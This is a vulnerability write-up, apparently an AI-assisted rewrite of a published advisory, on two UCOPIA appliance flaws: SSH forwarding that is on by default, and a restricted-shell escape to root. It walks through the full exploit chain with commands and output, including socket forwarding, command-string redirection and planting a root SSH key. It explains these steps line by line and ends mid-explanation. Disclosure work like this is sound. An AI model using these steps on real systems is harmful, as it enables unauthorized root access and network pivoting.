Skip to content
Misconfiguration Write-up Intermediate

Multiple vulnerabilities in UCOPIA <= 6.0.7 (CVE-2022-44719 / CVE-2022-44720)

The UCOPIA appliance's SSH server allows TCP and UNIX socket forwarding by default, and the restricted admin shell can be escaped to a root shell via a privileged helper. An attacker with network access and default credentials could use the SSH server as a proxy to reach internal networks and escalate to root, compromising the appliance.

Jean Bonnevie Follow

Published on synacktiv.com

Vulnerabilities description Presentation of UCOPIA The Ucopia appliance aims to provide a management solution for corporate wireless networks. This solution acts as a gateway and controller between end-users and private networks.

Jean Bonnevie, Paul Barbé, on synacktiv.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

UCOPIA is an appliance that provides a management solution for corporate wireless networks. It acts as a gateway and controller between end-users and private networks, and user authentication is typically performed through a captive portal or 802.1x.

Administrators interact with the appliance through an SSH service that exposes a restricted command line interface (CLI). The CLI is built on clish, which limits the admin to a set of allowed commands, and the SSH session runs inside a chrooted environment located in /var/chroot/. Some allowed commands need to act outside that chroot, so they call a helper binary named chroothole_client, which talks to a server over a UNIX socket.

Two vulnerabilities were identified during a security assessment of the platform:

  • CVE-2022-44719: the SSH server listens on all interfaces and TCP forwarding is enabled by default.
  • CVE-2022-44720: the confined shell provided to the admin user through an SSH connection can be escaped to a non-chrooted root shell.

Version 6.0.7 (build 18010107) is vulnerable, and anterior versions are likely to be vulnerable as well.

Setup

The assessment was carried out against an appliance at [redacted], running version 6.0.7 (build 18010107). The examples connect as the admin user over SSH. The client used in the examples is OpenSSH 8.4p1 on Debian (OpenSSL 1.1.1n).

The second vulnerability relies on the filesystem being publicly available on the UCOPIA website, which is linked from the official Quick Start documentation. That gives the attacker a copy of the appliance's files, including the clish command definitions and the chroothole_client binary, without needing shell access first.

Finding it

Two separate weaknesses stood out.

First, the SSH service is meant to let administrators perform administrative actions through a restricted shell, but nothing prevents it from being used as a TCP proxy into other networks. The AllowTcpForwarding option is not set in /etc/ssh/sshd_config, so the default value yes applies.

Second, the restricted shell is not a real boundary. clish restricts the admin commands, and the SSH session runs in a chroot at /var/chroot/, but some allowed commands invoke chroothole_client to run commands outside the chroot. The allowed commands are listed in /usr/share/ucopia/clish/*.xml. For example, /usr/share/ucopia/clish/summary.xml:

XML
<?xml version="1.0" encoding="UTF-8"?>
<CLISH_MODULE xmlns="http://clish.sourceforge.net/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://clish.sourceforge.net/XMLSchema http://clish.sourceforge.net/XMLSchema/clish.xsd">
    <COMMAND name="summary" help="Show the controller characteristics summary">
        <ACTION>
            chroothole_client "/usr/sbin/ucpversion summary"
        </ACTION>
    </COMMAND>
</CLISH_MODULE>

chroothole works as a client/server model: the server receives commands from a UNIX socket. Its configuration lives in /etc/chroothole/chroothole.conf, which contains the socket path and the whitelist of commands that can be run through chroothole_client:

Text
path_server=/var/chroot/tmp/chroothole
/etc/init.d/authserver
[...]
/usr/share/ucopia/tools/troubleshoot.php
# fw
/usr/sbin/fw
# Pour la configuration des interfaces
/sbin/ifconfig
/sbin/dhclient
# Obligatoire pour les commandes reboot et halt
/sbin/reboot
/sbin/halt

The extract is cropped, but it shows the socket path and the whitelisted commands. The key observation is that chroothole_client itself is not allowed by clish, yet the socket it talks to can be reached if it is forwarded to the attacker's host.

Exploitation

Step 1: use SSH as a SOCKS proxy (CVE-2022-44719)

Because TCP forwarding is enabled, a SOCKS proxy can be started with:

Bash
$ ssh -v -D 2626 [redacted]
OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1n  15 Mar 2022
[...]
Authenticated to [redacted] ([[redacted]]:22).
debug1: Local connections to LOCALHOST:2626 forwarded to remote address socks:0
debug1: Local forwarding listening on ::1 port 2626.
debug1: channel 0: new [port listener]
debug1: Local forwarding listening on [redacted] port 2626.
debug1: channel 1: new [port listener]
debug1: channel 2: new [client-session]
[...]
***** ***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version KVM
* Serial number
* License
* Current build 18010107
* Current version 6.0.7
* Last upgrade
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** ***** *****
Maintenance tunnel is down
Welcome to the Command Line Interface
Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.
>

The -D 2626 option makes the SSH client listen on local port 2626 and forward connections through the appliance as a SOCKS proxy. The banner confirms the session lands in the restricted CLI, but the forwarding channels are already open.

The proxy can then be used with tools such as proxychains to reach other networks or local services. Direct access to a service on the appliance fails, while the same service is reachable through the proxy:

The MySQL banner returned through the tunnel shows that a service on the appliance is reachable through the proxy, even though a direct connection to port 3306 timed out.

Step 2: forward the chroothole UNIX socket

To use chroothole_client, which clish does not allow, the UNIX socket has to be forwarded to the attacker's host:

Bash
$ ssh -v -L /tmp/chroothole:/tmp/chroothole [redacted]
OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1n  15 Mar 2022
[...]
debug1: Local connections to /tmp/chroothole:-2 forwarded to remote address /tmp/chroothole:-2
debug1: Local forwarding listening on path /tmp/chroothole.
debug1: channel 0: new [unix listener]
debug1: channel 1: new [client-session]
[...]
***** ***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version KVM
* Serial number
* License
* Current build 18010107
* Current version 6.0.7
* Last upgrade
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** ***** *****
Maintenance tunnel is down
Welcome to the Command Line Interface
Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.
>

The -L option forwards the local UNIX socket /tmp/chroothole to the remote socket of the same path.

Step 3: run commands outside the chroot

With the socket forwarded, chroothole_client (extracted from the filesystem) can be run from the attacker's host:

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client '/usr/sbin/status apache2'
apache2 is running.

The command's output comes back over the forwarded socket.

As a proof of concept, a file can be written to /var/chroot/tmp so that it appears in /tmp/ from the chrooted clish. On the attacker's host:

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client '/usr/sbin/status apache2 > /var/chroot/tmp/test_redirect'
$

Nothing is returned on stdout. On the router, the file is created:

Text
> ls /tmp/
total 8
srwxrwxrwx 1 root  root  0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin 7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root 20 Oct  3 15:38 test_redirect

A file of size 20 (corresponding to the size of apache2 is running.\n) appears with root ownership, indicating that commands are run as root.

Step 4: write arbitrary content with expr

It is possible to redirect the output of an allowed command. Looking at the command whitelist, one binary can be used to output an arbitrary string: /usr/bin/expr. This binary evaluates expressions and can be used to echo a string:

Bash
$ expr 'this is a string'
this is a string

Used with the chroothole client:

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client "/usr/bin/expr 'This is a string of 29 bytes'>/var/chroot/tmp/test_expr"
$

Check on the router:

Text
> ls /tmp/
total 12
srwxrwxrwx 1 root  root  0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin 7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root 29 Oct  3 15:54 test_expr

The size of 29 bytes demonstrates the successful write.

Step 5: add an SSH key for root

The arbitrary file write can be used to add an SSH public key to the authorized_keys file of the root user and gain root access to the appliance:

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client "/usr/bin/expr 'ssh-ed25519 [redacted]' >> /root/.ssh/authorized_keys"
$ ssh -i ucopia [redacted]
Linux controller 3.16.0-10-amd64 #1 SMP Debian 3.16.76-1 (2019-11-12) x86_64
***** ***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version KVM
* Serial number
* License
* Current build 18010107
* Current version 6.0.7
* Last upgrade
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** ***** *****
Maintenance tunnel is down
root@controller:~# whoami
root
root@controller:~# ls -l /var/chroot/tmp/
total 12
srwxrwxrwx 1 root  root  0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin 7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root 29 Oct  3 15:54 test_expr
-rw-r----- 1 root  root 20 Oct  3 15:38 test_redirect
root@controller:~# cat /var/chroot/tmp/test_redirect
apache2 is running.
root@controller:~# cat /var/chroot/tmp/test_expr
This is a string of 29 bytes
root@controller:~# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,relatime,size=10240k,nr_inodes=255152,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205816k,mode=755)
/dev/sda2 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
none on /var/chroot/proc type proc (rw,relatime)
/dev/sda2 on /var/chroot/etc/clish type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[...]
root@controller:~# ls /var/chroot
bin  dev  etc  home  lib  lib64  proc  tmp  usr

The expr call writes the public key into /root/.ssh/authorized_keys with root privileges, and the subsequent SSH login with the matching private key returns a root shell. The mount output confirms the chroot layout, and the ls shows the contents of /var/chroot.

Root cause

CVE-2022-44719 is a configuration issue: AllowTcpForwarding is not set in /etc/ssh/sshd_config, so OpenSSH's default of yes applies. The SSH server also listens on all interfaces, so any user with network access can authenticate to it.

CVE-2022-44720 is a design issue in the confinement. The restricted shell and the chroot are bypassed by design through chroothole_client, which runs whitelisted commands as root outside the chroot. The whitelist includes /usr/bin/expr, which can produce arbitrary output, and redirection in the command string is honoured. Combined with the ability to forward the UNIX socket over SSH, this turns a restricted admin session into arbitrary root-level file writes.

Impact

Changing the admin password in the web administration interface does not necessarily affect the SSH password if the administrator does not check the corresponding option. The SSH password can therefore easily be left at its default value. By default, the SSH socket listens on all interfaces, allowing any user with network access to authenticate to the SSH server:

Using the discovered vulnerabilities, the Ucopia router can be compromised and used by an attacker for network discovery or to perform harmful actions by exploiting the root access.

Fix

Weblib released patched versions: 7.0.0 on 2023-03-22 and 6.0.13 on 2023-05-30. The report does not describe the specific code or configuration changes in those releases.

Variants to test

  • SSH forwarding on other appliances: connect with ssh -D or ssh -L to an administrative account and check whether the tunnel is accepted. A positive result is a working SOCKS proxy or forwarded socket that reaches services not exposed on the network.
  • Restricted shells that call privileged helpers: look for commands in the CLI that invoke a helper over a UNIX socket or a setuid binary. A positive result is a helper that runs commands outside the sandbox and returns their output.
  • Whitelisted binaries that can echo arbitrary strings: check whether tools such as expr, echo or similar are in the allowed command list. A positive result is a file written with attacker-controlled content and root ownership.
  • Shell metacharacters in helper arguments: try redirections and command separators in the arguments passed to the helper. A positive result is a file created or modified outside the intended directory.
  • Default administrative credentials: check whether the SSH password differs from the web password and whether it matches the documented default. A positive result is a successful SSH login with the default value.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

What happened, in plain words

UCOPIA is a piece of hardware (an "appliance") that companies put on their network to manage the Wi-Fi their staff use. It sits between the people connecting (laptops, phones) and the company's private network, and it decides who is allowed in, usually by showing a login page in the browser (a "captive portal") or by checking a certificate on the device (802.1x).

Administrators manage this appliance by connecting to it over SSH. SSH is the standard way to open a text-only session on a remote computer: you type commands, the remote machine runs them and sends back the text. On UCOPIA, that SSH session does not give a normal command prompt. It gives a deliberately limited one, built on a program called clish, which only accepts a fixed list of commands. On top of that, the session is locked inside a "chroot", a technique that makes a program believe a subfolder is the whole filesystem, so it cannot wander into the rest of the machine.

Some of the allowed commands need to do things that the chroot would block, so they call a small helper program called chroothole_client. That helper sends the command to a server process over a "UNIX socket", which is a way for two programs on the same machine to talk to each other, a bit like an internal phone line that only exists inside the computer.

During a security assessment of this platform, two problems were found:

  • CVE-2022-44719: the SSH server accepts connections on every network interface of the appliance, and it allows "TCP forwarding" by default. TCP forwarding means an SSH session can be used as a tunnel: traffic sent into one end comes out the other end, inside the network the appliance can reach. The CVE number is a public identifier given to a known vulnerability so people can track it.
  • CVE-2022-44720: the limited shell given to the admin user over SSH can be escaped, ending up with a full root shell. "Root" is the all-powerful account on a Linux machine; a "root shell" is a command prompt with those powers.

Version 6.0.7 (build 18010107) is vulnerable, and older versions are likely to be vulnerable too.

Setup

The assessment was carried out against an appliance at [redacted], running version 6.0.7 (build 18010107). The examples connect as the admin user over SSH. The client used in the examples is OpenSSH 8.4p1 on Debian (OpenSSL 1.1.1n). OpenSSH is the most common SSH program; the version numbers just identify which build was used.

The second vulnerability relies on the appliance's filesystem being publicly available on the UCOPIA website, linked from the official Quick Start documentation. In other words, anyone can download a copy of the appliance's files, including the clish command definitions and the chroothole_client binary, without needing any access to a real device first. That matters because it lets an attacker study the rules and the helper program offline before touching a live appliance.

Finding it

Two separate weaknesses stood out.

First, the SSH service is meant to let administrators perform administrative actions through a restricted shell, but nothing prevents it from being used as a TCP proxy into other networks. A proxy is a middleman: you ask it to reach somewhere, and it does the reaching for you. The AllowTcpForwarding option is not set in /etc/ssh/sshd_config, so the default value yes applies. sshd_config is the SSH server's settings file; when a setting is absent, the program falls back to its built-in default, and here that default is permissive.

Second, the restricted shell is not a real boundary. clish restricts the admin commands, and the SSH session runs in a chroot at /var/chroot/, but some allowed commands invoke chroothole_client to run commands outside the chroot. The allowed commands are listed in /usr/share/ucopia/clish/*.xml. For example, /usr/share/ucopia/clish/summary.xml:

XML
<?xml version="1.0" encoding="UTF-8"?>
<CLISH_MODULE xmlns="http://clish.sourceforge.net/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://clish.sourceforge.net/XMLSchema http://clish.sourceforge.net/XMLSchema/clish.xsd">
    <COMMAND name="summary" help="Show the controller characteristics summary">
        <ACTION>
            chroothole_client "/usr/sbin/ucpversion summary"
        </ACTION>
    </COMMAND>
</CLISH_MODULE>

Line by line:

  1. <?xml version="1.0" encoding="UTF-8"?> declares that this is an XML file, a text format for structured data, and that it uses UTF-8 character encoding.
  2. <CLISH_MODULE ...> opens the outer element, the container for everything else. The xmlns and xsi:schemaLocation attributes point to the definitions that describe what a valid file of this kind looks like, so the program can check it.
  3. <COMMAND name="summary" help="Show the controller characteristics summary"> defines one command the admin can type: summary, with a short help text.
  4. <ACTION> starts the part that says what actually happens when the command is run.
  5. chroothole_client "/usr/sbin/ucpversion summary" is the action: call the helper program and ask it to run /usr/sbin/ucpversion summary outside the chroot.
  6. The closing tags </ACTION>, </COMMAND> and </CLISH_MODULE> end each block in reverse order.

So the file is a recipe: when the admin types summary, the restricted shell does not run the version program itself, it asks the helper to do it on the outside.

chroothole works as a client/server model: the server receives commands from a UNIX socket. Its configuration lives in /etc/chroothole/chroothole.conf, which contains the socket path and the whitelist of commands that can be run through chroothole_client. A whitelist is a list of things that are allowed; anything not on it is refused.

Text
path_server=/var/chroot/tmp/chroothole
/etc/init.d/authserver
[...]
/usr/share/ucopia/tools/troubleshoot.php
# fw
/usr/sbin/fw
# Pour la configuration des interfaces
/sbin/ifconfig
/sbin/dhclient
# Obligatoire pour les commandes reboot et halt
/sbin/reboot
/sbin/halt

Line by line:

  1. path_server=/var/chroot/tmp/chroothole says where the server's socket lives on disk. A UNIX socket appears as a special file, and programs connect to it by opening that path.
  2. /etc/init.d/authserver is the first entry of the command whitelist: a script the helper is allowed to run.
  3. [...] marks text the report cropped out; the list continues but is not shown.
  4. /usr/share/ucopia/tools/troubleshoot.php is another allowed program.
  5. # fw is a comment line, ignored by the configuration parser.
  6. /usr/sbin/fw is an allowed program.
  7. # Pour la configuration des interfaces is a French comment meaning "for the configuration of the interfaces".
  8. /sbin/ifconfig and /sbin/dhclient are allowed programs used to configure network interfaces.
  9. # Obligatoire pour les commandes reboot et halt is a comment meaning "required for the reboot and halt commands".
  10. /sbin/reboot and /sbin/halt are allowed programs that restart or stop the machine.

The extract is cropped, but it shows the socket path and the whitelisted commands. The key observation is that chroothole_client itself is not allowed by clish, yet the socket it talks to can be reached if it is forwarded to the attacker's host. In other words, the front door is locked, but the internal phone line can be extended out of the building.

Exploitation

Step 1: use SSH as a SOCKS proxy (CVE-2022-44719)

Because TCP forwarding is enabled, a SOCKS proxy can be started with:

Bash
$ ssh -v -D 2626 [redacted]
OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1n  15 Mar 2022
[...]
Authenticated to [redacted] ([[redacted]]:22).
debug1: Local connections to LOCALHOST:2626 forwarded to remote address socks:0
debug1: Local forwarding listening on ::1 port 2626.
debug1: channel 0: new [port listener]
debug1: Local forwarding listening on [redacted] port 2626.
debug1: channel 1: new [port listener]
debug1: channel 2: new [client-session]
[...]
***** ***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version KVM
* Serial number
* License
* Current build 18010107
* Current version 6.0.7
* Last upgrade
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** ***** *****
Maintenance tunnel is down
Welcome to the Command Line Interface
Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.
>

Line by line:

  1. $ ssh -v -D 2626 [redacted] runs the SSH client. -v means verbose: print the connection details, which is why the debug1: lines appear. -D 2626 tells the client to listen on local port 2626 and act as a SOCKS proxy, sending each connection through the remote machine. [redacted] is the username and the address of the appliance.
  2. OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1n 15 Mar 2022 is the client's version banner.
  3. [...] is output the report left out.
  4. Authenticated to [redacted] ([[redacted]]:22). confirms the login succeeded on port 22, the standard SSH port.
  5. debug1: Local connections to LOCALHOST:2626 forwarded to remote address socks:0 says the local proxy is set up and will hand connections to the remote SOCKS service.
  6. debug1: Local forwarding listening on ::1 port 2626. and debug1: Local forwarding listening on [redacted] port 2626. show the proxy listening on the local machine, on the IPv6 and IPv4 loopback addresses. Loopback means "this same computer".
  7. debug1: channel 0: new [port listener] and debug1: channel 1: new [port listener] are the listening channels; debug1: channel 2: new [client-session] is the interactive session itself.
  8. The banner between the rows of asterisks is the appliance's login message: hardware KVM, build 18010107, version 6.0.7, maintenance validity INVALID.
  9. Maintenance tunnel is down is a status line.
  10. The Welcome to the Command Line Interface block explains the restricted CLI: help lists usage, ? lists commands, and a command name followed by ? shows help for that command.
  11. The final > is the prompt, waiting for input.

The -D 2626 option makes the SSH client listen on local port 2626 and forward connections through the appliance as a SOCKS proxy. The banner confirms the session lands in the restricted CLI, but the forwarding channels are already open. That is the point: the shell is limited, but the tunnel is not.

The proxy can then be used with tools such as proxychains to reach other networks or local services. Proxychains is a program that intercepts other programs' network connections and sends them through a proxy instead. Direct access to a service on the appliance fails, while the same service is reachable through the proxy:

Line by line:

  1. $ nc -z -v 192.168.200.194 3306 uses nc (netcat, a simple tool to open network connections) to check whether port 3306 on the appliance is reachable. -z means "just check, do not send data", -v means verbose. Port 3306 is the usual MySQL database port.
  2. nc: connect to [redacted] port 3306 (tcp) failed: Connection timed out is the failure: from the attacker's position, that port does not answer.
  3. $ proxychains4 nc [redacted] 3306 runs the same check, but through proxychains, targeting [redacted] (loopback). Because the connection goes through the tunnel, [redacted] is interpreted on the appliance's side, not on the attacker's machine.
  4. [proxychains] config file found: /etc/proxychains.conf says the proxy settings were loaded.
  5. [proxychains] preloading /lib/libproxychains4.so says the interception library was loaded into the program.
  6. [proxychains] DLL init: proxychains-ng 4.12-git-2-g46647be is the library's version.
  7. [proxychains] Strict chain ... [redacted]:2626 ... [redacted]:3306 ... OK shows the path: local port 2626 (the SSH proxy), then port 3306 on the far side. OK means the chain worked.
  8. W 5.5.62-0+deb8u1-log...mysql_native_password is the beginning of the MySQL server's greeting, which proves a database is answering.

The MySQL banner returned through the tunnel shows that a service on the appliance is reachable through the proxy, even though a direct connection to port 3306 timed out. A service bound to loopback only accepts connections from the machine itself; the tunnel makes the attacker's traffic look like it comes from the machine itself.

Step 2: forward the chroothole UNIX socket

To use chroothole_client, which clish does not allow, the UNIX socket has to be forwarded to the attacker's host:

Bash
$ ssh -v -L /tmp/chroothole:/tmp/chroothole [redacted]
OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1n  15 Mar 2022
[...]
debug1: Local connections to /tmp/chroothole:-2 forwarded to remote address /tmp/chroothole:-2
debug1: Local forwarding listening on path /tmp/chroothole.
debug1: channel 0: new [unix listener]
debug1: channel 1: new [client-session]
[...]
***** ***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version KVM
* Serial number
* License
* Current build 18010107
* Current version 6.0.7
* Last upgrade
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** ***** *****
Maintenance tunnel is down
Welcome to the Command Line Interface
Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.
>

Line by line:

  1. $ ssh -v -L /tmp/chroothole:/tmp/chroothole [redacted] opens an SSH session with -L, which forwards a local endpoint to a remote one. The syntax is local:remote; here both sides are the same path, /tmp/chroothole.
  2. The version banner and [...] are as before.
  3. debug1: Local connections to /tmp/chroothole:-2 forwarded to remote address /tmp/chroothole:-2 reports the forwarding rule. The -2 is how the client labels a UNIX socket endpoint.
  4. debug1: Local forwarding listening on path /tmp/chroothole. says a socket file is now listening on the attacker's machine at that path.
  5. debug1: channel 0: new [unix listener] is the listening channel; debug1: channel 1: new [client-session] is the interactive session.
  6. The banner and prompt are the same restricted CLI as before.

The -L option forwards the local UNIX socket /tmp/chroothole to the remote socket of the same path. Anything written to the local socket is carried over SSH and delivered to the server on the appliance, and the answer comes back the same way.

Step 3: run commands outside the chroot

With the socket forwarded, chroothole_client (extracted from the filesystem) can be run from the attacker's host:

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client '/usr/sbin/status apache2'
apache2 is running.

Line by line:

  1. $ /mnt/5/chroot/usr/bin/chroothole_client '/usr/sbin/status apache2' runs the helper program from the downloaded copy of the filesystem, which the attacker mounted locally under /mnt/5/chroot. The argument is the command to ask the server to run: check the status of the Apache web server.
  2. apache2 is running. is the answer, sent back through the forwarded socket.

The command's output comes back over the forwarded socket. The attacker never needed a shell on the appliance; the helper and the socket did the work.

As a proof of concept, a file can be written to /var/chroot/tmp so that it appears in /tmp/ from the chrooted clish. On the attacker's host:

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client '/usr/sbin/status apache2 > /var/chroot/tmp/test_redirect'
$

Line by line:

  1. The helper is called again, but the command string now ends with > /var/chroot/tmp/test_redirect. In a shell, > means "send the output to this file instead of the screen". The redirection is honoured, so the output goes into the file.
  2. The next line is just the prompt returning: nothing is printed, because the output went into the file.

Nothing is returned on stdout. On the router, the file is created:

Text
> ls /tmp/
total 8
srwxrwxrwx 1 root  root  0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin 7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root 20 Oct  3 15:38 test_redirect

Line by line:

  1. > ls /tmp/ lists the contents of /tmp/ from inside the restricted CLI. Because the session is chrooted, this /tmp/ is really /var/chroot/tmp/ on the appliance.
  2. total 8 is the total size in blocks of the listed files.
  3. srwxrwxrwx 1 root root 0 Oct 3 15:34 chroothole is the socket file. The leading s means socket, and the rwxrwxrwx permissions mean everyone can read, write and connect.
  4. -rw-r--r-- 1 admin admin 7 Sep 16 11:39 tcpdump.bpf is an ordinary file owned by admin, 7 bytes long.
  5. -rw-r----- 1 root root 20 Oct 3 15:38 test_redirect is the file just created: 20 bytes, owned by root, readable only by root and its group.

A file of size 20 (corresponding to the size of apache2 is running.\n) appears with root ownership, indicating that commands are run as root. The \n is the newline character at the end of the message, which counts as one byte.

Step 4: write arbitrary content with expr

It is possible to redirect the output of an allowed command. Looking at the command whitelist, one binary can be used to output an arbitrary string: /usr/bin/expr. This binary evaluates expressions and can be used to echo a string:

Bash
$ expr 'this is a string'
this is a string

Line by line:

  1. $ expr 'this is a string' runs expr with a single argument. expr normally does arithmetic and comparisons, but given one plain string it simply prints it back.
  2. this is a string is the output.

Used with the chroothole client:

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client "/usr/bin/expr 'This is a string of 29 bytes'>/var/chroot/tmp/test_expr"
$

Line by line:

  1. The helper is asked to run /usr/bin/expr 'This is a string of 29 bytes', which will print that sentence, and then >/var/chroot/tmp/test_expr sends the printed text into a new file. The whole command is in double quotes so the local shell passes it as one argument.
  2. The prompt returns with no output, because everything went into the file.

Check on the router:

Text
> ls /tmp/
total 12
srwxrwxrwx 1 root  root  0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin 7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root 29 Oct  3 15:54 test_expr

Line by line:

  1. > ls /tmp/ lists the chroot's temporary directory again.
  2. total 12 is the new total size.
  3. The socket and tcpdump.bpf are unchanged.
  4. -rw-r----- 1 root root 29 Oct 3 15:54 test_expr is the new file: 29 bytes, owned by root.

The size of 29 bytes demonstrates the successful write. The attacker can now choose the content of a file, not just copy the output of a status command.

Step 5: add an SSH key for root

The arbitrary file write can be used to add an SSH public key to the authorized_keys file of the root user and gain root access to the appliance. SSH keys come in pairs: a private key kept secret by its owner, and a public key that can be shared. If the public key is listed in a user's authorized_keys file, anyone holding the matching private key can log in as that user without a password.

Bash
$ /mnt/5/chroot/usr/bin/chroothole_client "/usr/bin/expr 'ssh-ed25519 [redacted]' >> /root/.ssh/authorized_keys"
$ ssh -i ucopia [redacted]
Linux controller 3.16.0-10-amd64 #1 SMP Debian 3.16.76-1 (2019-11-12) x86_64
***** ***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version KVM
* Serial number
* License
* Current build 18010107
* Current version 6.0.7
* Last upgrade
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** ***** *****
Maintenance tunnel is down
root@controller:~# whoami
root
root@controller:~# ls -l /var/chroot/tmp/
total 12
srwxrwxrwx 1 root  root  0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin 7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root 29 Oct  3 15:54 test_expr
-rw-r----- 1 root  root 20 Oct  3 15:38 test_redirect
root@controller:~# cat /var/chroot/tmp/test_redirect
apache2 is running.
root@controller:~# cat /var/chroot/tmp/test_expr
This is a string of 29 bytes
root@controller:~# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,relatime,size=10240k,nr_inodes=255152,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205816k,mode=755)
/dev/sda2 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
none on /var/chroot/proc type proc (rw,relatime)
/dev/sda2 on /var/chroot/etc/clish type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[...]
root@controller:~# ls /var/chroot
bin  dev  etc  home  lib  lib64  proc  tmp  usr

Line by line:

  1. $ /mnt/5/chroot/usr/bin/chroothole_client "/usr/bin/expr 'ssh-ed25519 [redacted]' >> /root/.ssh/authorized_keys" asks the server to run expr with the attacker's public key as its argument, and >> appends the printed text to /root/.ssh/authorized_keys. A single > would overwrite the file; >> adds to the end, which is what you want when adding a key to a list.
  2. $ ssh -i ucopia [redacted] logs in as root, using -i ucopia to say "use the private key stored in the file named ucopia".
  3. Linux controller 3.16.0-10-amd64 #1 SMP Debian 3.16.76-1 (2019-11-12) x86_64 is the kernel banner of the appliance, shown on login.
  4. The asterisk banner and Maintenance tunnel is down are the same appliance banner as before.
  5. root@controller:~# whoami runs the whoami command, which prints the name of the current user. The # in the prompt is the traditional sign of a root shell.
  6. root is the answer: the session really is root.
  7. root@controller:~# ls -l /var/chroot/tmp/ lists the chroot's temporary directory with details, now seen from outside the chroot.
  8. The four entries are the socket, tcpdump.bpf, test_expr and test_redirect, with the same sizes and owners as before.
  9. root@controller:~# cat /var/chroot/tmp/test_redirect prints the first file: apache2 is running.
  10. root@controller:~# cat /var/chroot/tmp/test_expr prints the second: This is a string of 29 bytes.
  11. root@controller:~# mount lists the mounted filesystems, which shows how the chroot is built: /dev/sda2 is mounted at / and also at /var/chroot/etc/clish, and proc is mounted at /var/chroot/proc. A mount is the act of attaching a storage device or a virtual filesystem to a directory.
  12. root@controller:~# ls /var/chroot lists the chroot's top level: bin dev etc home lib lib64 proc tmp usr, the usual Linux directory layout in miniature.

The expr call writes the public key into /root/.ssh/authorized_keys with root privileges, and the subsequent SSH login with the matching private key returns a root shell. The mount output confirms the chroot layout, and the ls shows the contents of /var/chroot.

Root cause

CVE-2022-44719 is a configuration issue: AllowTcpForwarding is not set in /etc/ssh/sshd_config, so OpenSSH's default of yes applies. The SSH server also listens on all interfaces, so any user with network access can authenticate to it. Think of a building where the reception desk is strict about which doors you may open, but the service corridor behind it was never locked.

CVE-2022-44720 is a design issue in the confinement. The restricted shell and the chroot are bypassed by design through chroothole_client, which runs whitelisted commands as root outside the chroot. The whitelist includes /usr/bin/expr, which can produce arbitrary output, and redirection in the command string is honoured. Combined with the ability to forward the UNIX socket over SSH, this turns a restricted admin session into arbitrary root-level file writes.

Impact

Changing the admin password in the web administration interface does not necessarily affect the SSH password if the administrator does not check the corresponding option. The SSH password can therefore easily be left at its default value. By default, the SSH socket listens on all interfaces, allowing any user with network access to authenticate to the SSH server:

Line by line:

  1. > netstat -l y -n y lists network sockets. -l shows only listening sockets (those waiting for connections), -n shows numbers instead of names, and the y arguments are how this CLI accepts the flags.
  2. Active Internet connections (only servers) is the table header.
